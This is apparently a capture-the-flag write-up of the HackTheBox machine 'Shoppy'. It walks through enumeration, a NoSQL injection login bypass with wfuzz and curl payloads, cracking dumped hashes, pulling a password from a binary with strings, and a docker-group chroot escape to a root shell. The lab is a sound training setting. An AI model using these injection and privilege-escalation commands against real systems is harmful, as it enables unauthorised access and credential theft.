9 minute read

Shoppy is an easy level machine by lockscan on HackTheBox. It’s a Linux box looking at NoSQL injections and Docker exploits.

Machine Information


This was a pretty simple box. It featured NoSQL injections, hash dumping, and exploitation of a custom binary to retrieve credentials for privilege escalation. From there we moved laterally then finally used a Docker exploit to spawn a root shell.

Hosting Site HackTheBox
Link To Machine HTB - Easy - Shoppy
Machine Release Date 17th September 2022
Date I Completed It 13th January 2023
Distribution Used Kali 2022.4 – Release Info

Initial Recon

As always let’s start with Nmap:

└─# ports=$(nmap -p- --min-rate=1000 -T4 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

└─# nmap -p$ports -sC -sV -oA shoppy
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-13 15:57 GMT
Nmap scan report for
Host is up (0.029s latency).

22/tcp   open  ssh      OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 9e5e8351d99f89ea471a12eb81f922c0 (RSA)
|   256 5857eeeb0650037c8463d7a3415b1ad5 (ECDSA)
|_  256 3e9d0a4290443860b3b62ce9bd9a6754 (ED25519)
80/tcp   open  http     nginx 1.23.1
|_http-server-header: nginx/1.23.1
|_http-title: Did not follow redirect to http://shoppy.htb
9093/tcp open  copycat?
| fingerprint-strings: 
|   GenericLines: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest, HTTPOptions: 
|     HTTP/1.0 200 OK
|     Content-Type: text/plain; version=0.0.4; charset=utf-8
|     Date: Fri, 13 Jan 2023 15:58:11 GMT
|_    go_gc

1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap done: 1 IP address (1 host up) scanned in 101.39 seconds

We have a couple of ports open, and we can see a redirect to shoppy.htb. Let’s add that to our hosts file:

└─# echo " shoppy.htb" >> /etc/hosts

Now have a look at the website:


There’s nothing here. If we try with curl to see the headers we find nothing useful:

└─# curl -i http://shoppy.htb
HTTP/1.1 200 OK
Server: nginx/1.23.1
Date: Sat, 21 Jan 2023 16:32:54 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 2178
Connection: keep-alive
Accept-Ranges: bytes
Cache-Control: public, max-age=0
Last-Modified: Tue, 01 Feb 2022 09:38:44 GMT
ETag: W/"882-17eb4a698a0"

If we try with a non-existent sub folder we get an error message:

└─# curl http://shoppy.htb/pencer
<!DOCTYPE html>
<html lang="en">
<meta charset="utf-8">
<pre>Cannot GET /pencer</pre>

If we paste that in to Google we get a clue that this is probably a NodeJS app:



Let’s use gobuster to look for hidden subfolders:

└─# gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u http://shoppy.htb 
Gobuster v3.4
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:                     http://shoppy.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.4
[+] Timeout:                 10s
2023/01/13 16:15:26 Starting gobuster in directory enumeration mode
/images               (Status: 301) [Size: 179] [--> /images/]
/login                (Status: 200) [Size: 1074]
/admin                (Status: 302) [Size: 28] [--> /login]
/assets               (Status: 301) [Size: 179] [--> /assets/]
/css                  (Status: 301) [Size: 173] [--> /css/]
/Login                (Status: 200) [Size: 1074]
/js                   (Status: 301) [Size: 171] [--> /js/]
/fonts                (Status: 301) [Size: 177] [--> /fonts/]
/Admin                (Status: 302) [Size: 28] [--> /login]
/exports              (Status: 301) [Size: 181] [--> /exports/]
Progress: 87508 / 87665 (99.82%)
2023/01/13 16:22:51 Finished

We see a few, with login and admin which redirects to login being of interest. Let’s have a look:


We have a login page. The source code reveals nothing so we can assume this is either brute force or SQL injection. A Google of “nodejs database” shows us it could be MySQL or MongoDB. We’ve done plenty of SQLi in the past, Shared and Faculty from last year spring to mind.

NoSQL Injection

I got no where with SQLi and spent some time looking for resources to attack MongoDB with NodeJS. This from Null Sweep turned out to be the one to help. I had a look in seclists:

└─# grep -r 1==1 *                          
NoSQL.txt:|| 1==1

└─# wc -l /usr/share/seclists/Fuzzing/Databases/NoSQL.txt
22 /usr/share/seclists/Fuzzing/Databases/NoSQL.txt

There’s a NoSQL one with 22 variations, including those mentioned by Null Sweep, so time to fire up Burp. First capture a login request and send to Intruder, notice I added the username of admin in front of the fuzz variable:


Load the Seclist NoSQL payload in:


Start the attack and eventually find that one of them gives you a redirect to admin:


We can check it with curl as well, make sure you escape the apostrophe’s:

└─# curl --data-binary $'username=admin\'||\'a\'==\'a&password=admin' http://shoppy.htb/login
Found. Redirecting to /admin

We could have used wfuzz instead of Burp to look for the NoSQLi if we had wanted as well:

└─# wfuzz -v -c -z file,/usr/share/seclists/Fuzzing/Databases/NoSQL.txt -d "username=adminFUZZ&password=admin" http://shoppy.htb/login
* Wfuzz 3.1.0 - The Web Fuzzer                         *
Target: http://shoppy.htb/login
Total requests: 22
ID         C.Time  Response  Lines  Word  Chars  Server         Redirect                       Payload
000000019: 0.084s  400       0 L    2 W   11 Ch  nginx/1.23.1                                  "[$ne]=1"
000000022: 0.138s  302       0 L    4 W   51 Ch  nginx/1.23.1   /login?error=WrongCredentials  "{$nin: [""]}}"
000000018: 0.142s  302       0 L    4 W   51 Ch  nginx/1.23.1   /login?error=WrongCredentials  "{"$gt": ""}"
000000006: 0.036s  302       0 L    4 W   51 Ch  nginx/1.23.1   /login?error=WrongCredentials  "{ $ne: 1 }"
000000012: 0.032s  302       0 L    4 W   28 Ch  nginx/1.23.1   /admin                         "' || 'a'=='a"

From the Wfuzz output we can see the last payload worked and we were redirected to /admin just like it did with Burp.

If we login through Firefox we see a simple single page app:


There’s nothing here but a search button to look for users, click that and enter our admin user, then click the download export button:


We have the hash of the admin password, but trying to crack it with John or on CrackStation doesn’t work. However if we paste admin with our NoSQLi appended the same as we used to login **(admin’   ‘a’==’a)** we get something more interesting:


Our NoSQLi bypass also works on the search so we can see all users. This time the password can be cracked:


Logging in to the app as Josh works, but we there is nothing more to look at in there.


Let’s go back to more enumeration and look for subdomains with wfuzz:

└─# wfuzz -c --hc=404,301 -t 200 -w /usr/share/seclists/Discovery/DNS/combined_subdomains.txt -u http://shoppy.htb -H "Host:FUZZ.shoppy.htb"
* Wfuzz 3.1.0 - The Web Fuzzer                         *
Target: http://shoppy.htb/
Total requests: 648201
ID           Response   Lines    Word       Chars      Payload
000000002:   200        0 L      141 W      3122 Ch     "mattermost"

We found a subdomain, let’s add it to out hosts file:

└─# sed -i '/ shoppy.htb/ s/$/ mattermost.shoppy.htb/' /etc/hosts

If we have a look we find a login page, and our credentials for Josh work:


Now we are inside Mattermost which is a collaboration platform. There’s not a lot here, apart from a cat picture, and some talk about developing a password manager. In the Deploy Machine channel we find credentials:


User Flag

These work if we try to SSH in with jaeger and Sh0ppyBest@pp!:

└─# ssh jaeger@shoppy.htb                                 
jaeger@shoppy.htbs password: 
Linux shoppy 5.10.0-18-amd64 #1 SMP Debian 5.10.140-1 (2022-09-02) x86_64
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

Let’s grab the user flag:

jaeger@shoppy:~$ cat user.txt 

Password Manager

Just like we always do, first a few simple checks before we pull LinPEAS or similar over. SUDO is number one, especially on Easy boxes:

jaeger@shoppy:~$ sudo -l
[sudo] password for jaeger: 
Matching Defaults entries for jaeger on shoppy:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User jaeger may run the following commands on shoppy:
    (deploy) /home/deploy/password-manager

Unsurprisingly we find our user jaeger can run something as a different user. This time it’s the password manager that was mentioned earlier.

We can run it but find it doesn’t do a lot:

jaeger@shoppy:~$ sudo -u deploy /home/deploy/password-manager
[sudo] password for jaeger: 
Welcome to Josh password manager!
Please enter your master password: password
Access denied! This incident will be reported !

Before we pull the binary down to Kali to have a look with Ghidra or IDA we can first check if anything is leaked using strings:

jaeger@shoppy:~$ strings /home/deploy/password-manager

Nothing interesting with the default encoding, but always remember to check the others, like we did on Scrambled.

If you look at the options you’ll see the choices:

-e --encoding={s,S,b,l,B,L} Select character size and endianness:
            s = 7-bit, S = 8-bit, {b,l} = 16-bit, {B,L} = 32-bit

We can do a simple loop in bash to try all encodings, then have a look at the output:

jaeger@shoppy:~$ array=( s S b l B L )
jaeger@shoppy:~$ for i in "${array[@]}"; do strings -e"$i" /home/deploy/password-manager; done

That repeated word is interesting, if we check we see it’s the only output from 16-bit encoding (that’s b or l):

jaeger@shoppy:~$ strings --encoding=b /home/deploy/password-manager

If we try that with the program we get a result:

jaeger@shoppy:~$ sudo -u deploy /home/deploy/password-manager
[sudo] password for jaeger: 
Welcome to Josh password manager!
Please enter your master password: Sample
Access granted! Here is creds !
Deploy Creds :
username: deploy
password: Deploying@pp!

Deploy User

We have creds for the deploy user, let’s drop out of this session and start one as that user:

└─# ssh deploy@shoppy.htb
deploy@shoppy.htbs password: 
Linux shoppy 5.10.0-18-amd64 #1 SMP Debian 5.10.140-1 (2022-09-02) x86_64
Last login: Thu Jan 26 08:00:10 2023 from

Looking at the user we see we’re in a group called docker:

$ id
uid=1001(deploy) gid=1001(deploy) groups=1001(deploy),998(docker)

That should get your spidey senses tingling!


If you need a cheat sheet, this is a good one. We can have a look at the installed version of docker, containers and images:

$ docker version
Client: Docker Engine - Community
 Version:           20.10.18
 API version:       1.41
 Go version:        go1.18.6
 Git commit:        b40c2f6
 Built:             Thu Sep  8 23:12:08 2022
 OS/Arch:           linux/amd64
 Context:           default
 Experimental:      true

Server: Docker Engine - Community
  Version:          20.10.18
  API version:      1.41 (minimum version 1.12)
  Go version:       go1.18.6
  Git commit:       e42327a
  Built:            Thu Sep  8 23:09:59 2022
  OS/Arch:          linux/amd64
  Experimental:     false
  Version:          1.6.8
  GitCommit:        9cd3357b7fd7218e4aec3eae239db1f68a5a6ec6
  Version:          1.1.4
  GitCommit:        v1.1.4-0-g5fd4c4d
  Version:          0.19.0
  GitCommit:        de40ad0
$ docker ps

$ docker images
alpine       latest    d7d3d98c851f   6 months ago   5.53MB

So we can see there are no containers running currently but we have an image called alpine. There’s a well known exploit that GTFOBins covers here, from there we can spawn a root shell using this:

sudo docker run -v /:/mnt --rm -it alpine chroot /mnt sh

Root Flag

We don’t need sudo because our user already has rights:

$ docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# id
uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo)

Let’s grab the root flag:

# cd root
# cat root.txt

All done. That was a nice simple box, hope you learnt something and see you next time.